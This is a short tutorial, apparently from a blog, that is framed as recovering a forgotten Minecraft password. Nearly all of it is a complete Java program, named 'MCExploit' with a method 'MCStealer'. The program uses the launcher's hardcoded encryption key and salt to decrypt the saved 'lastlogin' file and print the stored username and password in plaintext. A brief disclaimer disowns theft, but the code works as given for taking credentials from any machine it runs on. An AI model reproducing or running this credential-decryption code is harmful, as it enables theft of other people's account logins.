Decrypting Minecraft Password

If you want to retrieve a forgotten password in Minecraft you can use some simple Java to decrypt the “lastlogin” file if the username and password from the last session was saved.

I do not condone the act of stealing or cracking people’s passwords and this information is provided as is.

In summary:

  1. Install Java 7
  2. Install Eclipse
  3. Create a java project called MCExploit
  4. Create a new class called MCExploit
  5. Copy and paste the following into the java class over writing everything in it:
    import java.io.*;
    import java.net.*;
    import java.util.*;
    import javax.crypto.*;
    import javax.crypto.spec.*;

    public class MCExploit
    { public static void main(String[] args) throws Exception {
    System.out.println(MCStealer()); } public static String MCStealer() throws Exception {
    String output = null;
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(2, pbeKey, pbeParamSpec);
    if (getWorkingDirectory().exists())
    { File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();
    }
    return output; } public static File getWorkingDirectory() {
    String userHome = System.getProperty("user.home", ".");
    File workingDirectory;
    switch (getPlatform())
    { case 1: case 2: workingDirectory = new File(userHome, ".minecraft/"); break; case 3: String applicationData = System.getenv("APPDATA"); if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else workingDirectory = new File(userHome, ".minecraft/"); break; case 4: workingDirectory = new File(userHome, "Library/Application Support/minecraft"); break; default: workingDirectory = new File(userHome, ".minecraft/");
    }
    return workingDirectory; } private static int getPlatform() {
    String osName = System.getProperty("os.name").toLowerCase();
    if (osName.contains("linux")) return 1;
    if (osName.contains("unix")) return 1;
    if (osName.contains("solaris")) return 2;
    if (osName.contains("sunos")) return 2;
    if (osName.contains("win")) return 3;
    if (osName.contains("mac")) return 4;
    return 5; }
    }

  6. Run the class
